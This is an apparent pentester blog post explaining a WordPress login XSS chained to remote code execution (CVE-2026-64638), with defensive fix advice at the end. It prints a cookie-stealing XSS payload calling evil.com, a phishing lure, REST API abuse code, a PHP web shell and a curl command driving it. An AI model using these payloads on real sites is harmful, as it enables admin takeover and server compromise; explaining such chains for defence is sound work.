Post

XSS2Shell: How a WordPress Login Page XSS Chains Its Way to Remote Code Execution (CVE-2026-64638)

XSS2Shell (CVE-2026-64638) explained: how a parser-disagreement XSS on the WordPress login page chains through the REST API and a fake plugin to achieve full Remote Code Execution.

XSS2Shell: How a WordPress Login Page XSS Chains Its Way to Remote Code Execution (CVE-2026-64638)

Alright, grab your favorite caffeinated beverage, pull up a chair, and let’s talk shop.

If you’ve been hanging around the infosec sphere lately, you’ve probably heard the whispers about CVE-2026-64638, affectionately (and terrifyingly) dubbed XSS2Shell.

As a pentester, when I first read the advisory, I literally spilled my coffee. Why? Because it takes a “medium” severity bug that usually just annoys people and chains it into a full-blown, server-melting Remote Code Execution (RCE).

But here’s the thing: it’s not magic. It’s just a really clever sequence of events. So, let’s break down exactly how this attack works, step-by-step, with some real-world code concepts so you can see the matrix for yourself.


Glossary

Before we dive in, let’s make sure we’re speaking the same language. No jargon left behind!

  • XSS (Cross-Site Scripting): A flaw where an app lets you inject malicious JavaScript into a webpage. When other people view that page, the script runs in their browser.
  • RCE (Remote Code Execution): The holy grail of hacking. It means the attacker can run operating system commands (like ls, cat, or rm -rf) on the actual server hosting the website.
  • Parser Disagreement (Mutation XSS): When the server’s security filter (sanitizer) reads your code and thinks, “Eh, that’s safe,” but the victim’s web browser reads the exact same code and thinks, “Oh, I should execute this!”
  • REST API: WordPress’s way of letting different parts of the system (or external apps) talk to it using standard web requests.
  • Nonce: A “Number Used Once.” It’s a secret, one-time-use token WordPress gives to logged-in admins to prove, “Yep, this request is actually coming from you, not a hacker.”
  • Web Shell: A malicious script (usually PHP) uploaded to a server that lets the attacker type commands into a web browser and see the server’s output.

Meet the Cast (Example)

  • The Target: corp-blog.com, running WordPress.
  • The Victim: Sarah, the Site Admin. She’s currently logged into her WordPress dashboard in her browser.
  • The Attacker: Alex. He wants to own the server.

Step 1: The Bouncer and the Fake ID (The Payload)

Alex wants to inject JavaScript into the WordPress login page. But WordPress has a bouncer (a sanitization filter) that checks all input. If Alex just types <script>alert(1)</script>, the bouncer kicks it out.

So, Alex uses a Parser Disagreement trick. He crafts a malformed HTML payload that looks like this:

1
<noscript><p title="</noscript><img src=x onerror=fetch('https://evil.com/steal?c='+document.cookie)>">

Why this works: The server-side bouncer sees the <noscript> tag, assumes everything inside it is just harmless text, and lets it pass. But when Sarah’s browser renders the page, the browser’s HTML parser says, “Wait, I’m closing the <noscript> tag right here!” It then sees the <img> tag, realizes the image is broken (src=x), and triggers the onerror event. Boom. JavaScript executed.


Step 2: The Phish (Social Engineering)

Alex can’t just execute this himself; he needs Sarah to trigger it. He crafts a phishing email:

“Hey Sarah, IT noticed a suspicious login attempt on your admin account. Please verify your credentials immediately: [Link]”

The link Alex sends isn’t just the login page. He pre-fills the username field with his malicious payload and a wrong password:

1
https://corp-blog.com/wp-login.php?log=<noscript><p title="</noscript><img src=x onerror=...>&pwd=wrong

Step 3: The Hijack (Executing the XSS)

Sarah clicks the link. Her browser requests the page. WordPress checks the database, sees the username doesn’t exist, and generates the error page:

“Error: The username [Alex’s Payload] is not registered.”

Because of the parser trick, the payload survives. Sarah’s browser loads the page, hits the <img> tag, and executes the JavaScript.

Crucial detail: This JavaScript is now running inside corp-blog.com. To Sarah’s browser, this malicious script has the exact same trust level as the actual WordPress website. And because Sarah is logged in, the script has access to her Admin Session and her Nonce.


Step 4: The Takeover (Abusing the REST API)

Now the JavaScript needs to escalate privileges. It doesn’t steal Sarah’s password; it just uses her active session to talk to the WordPress REST API.

Here is what the actual JavaScript payload looks like under the hood. It tells WordPress to install and activate a fake plugin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// The malicious JS running in Sarah's browser
fetch('/wp-json/wp/v2/plugins', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        // Grabbing the admin's secret Nonce from the page's memory!
        'X-WP-Nonce': wpApiSettings.nonce 
    },
    body: JSON.stringify({
        slug: 'security-update-helper', // Name of the fake plugin
        status: 'active'                // Turn it on immediately
    })
})
.then(response => response.json())
.then(data => console.log('Plugin installed:', data));

Because the request comes from Sarah’s browser, includes her valid session cookies, and has her valid Nonce, WordPress says, “Sure thing, Admin Sarah! Installing plugin now.”


Step 5: Welcome to the Shell (RCE)

Wait, how does a plugin give Alex a shell? During the plugin installation (or by using a similar REST API call to edit an existing theme file like 404.php), the JavaScript injects a tiny piece of PHP code.

Alex’s JavaScript uploads a file named shell.php into the new plugin’s folder. The code inside shell.php looks like this:

1
2
3
4
5
6
7
<?php
// The "Totally Legit Security Plugin"
if(isset($_GET['cmd'])) {
    // Execute whatever command the attacker sends
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
?>

The trap is set. The PHP code is physically sitting on the server’s hard drive.

Alex opens his terminal on his own laptop and sends a simple web request to the newly uploaded file:

1
curl "https://corp-blog.com/wp-content/plugins/security-update-helper/shell.php?cmd=whoami"

The WordPress server processes the request, runs the PHP code, and executes the whoami command on the underlying Linux server. The server responds to Alex’s terminal:

1
<pre>www-data</pre>

Game over. Alex has successfully chained a login screen typo into full Remote Code Execution. He owns the server.


The Fix: How to Not Get Pwned

Look, as scary as this is, it’s entirely preventable. Here is your action plan:

  1. Update WordPress Immediately: This was patched in version 7.0.3 and backported to older versions (like 6.9.6, 6.8.7, etc.). If you are on an unpatched version, update today. Don’t wait for “next week.”
  2. Verify the Update: Sometimes automatic updates fail silently. Log in and check the bottom right corner of your WP dashboard to ensure you’re actually on the patched version.
  3. Train Your Admins: This attack requires an admin to click a link. Tell Sarah (and all your admins) to never click links in emails to “verify” logins. If they get an email like that, they should type the URL into their browser manually.
  4. Use a WAF: If you have a Web Application Firewall (like Cloudflare, Imperva, etc.), ensure it’s updated. Most WAFs caught onto this exploit chain within hours of disclosure and will block the malicious payloads at the door.

The Takeaway

CVE-2026-64638 is a masterclass in Exploit Chaining. It proves that in cybersecurity, a “small” bug (like a weird parsing error on a login screen) is never really just a small bug if it sits next to a powerful feature (like the REST API).

Stay patched, stay skeptical of weird links, and keep your servers safe out there! Catch you in the next one.

This post is licensed under CC BY 4.0 by the author.